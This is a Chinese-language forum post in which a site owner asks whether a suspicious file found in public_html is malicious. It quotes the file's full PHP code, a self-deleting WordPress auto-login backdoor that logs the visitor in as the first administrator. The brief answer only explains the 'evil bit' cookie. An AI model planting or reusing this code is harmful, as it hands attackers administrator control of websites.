在我的public_html目录中找到一个可疑文件

Posted 2021-04-29

我已经找到文件autologin-onnemkif.php

并且代码是：

<?php
$f=__FILE__; $stat=stat($f); unlink($f);
setcookie("RFC3514","1",time()+604800,'/');
if(abs(time()-$stat[9])<120){
  require(dirname($f).'/wp-load.php');
  if (!$u=$wpdb->get_row("SELECT users.* FROM $wpdb->users users, $wpdb->usermeta users_meta where users.id=users_meta.user_id and users_meta.meta_key like '%capabilities' and users_meta.meta_value like '%administrator%' ORDER BY ID limit 1")) {
    $u=$wpdb->get_row("SELECT * FROM $wpdb->users ORDER BY ID limit 1");
  }
  $user=$u->user_login;
  wp_setcookie($user,rand(),false,"","","");
  do_action('wp_login',$user);
  wp_redirect('wp-admin/'); }

此代码是否恶意？

答案

似乎是autologin-onnemkif.php不是标准的。

也setcookie("RFC3514","1",time()+604800,'/');

RCF3514是愚人节的玩笑，被称为恶魔位。

https://en.wikipedia.org/wiki/Evil_bit

https://www.ietf.org/rfc/rfc3514.txt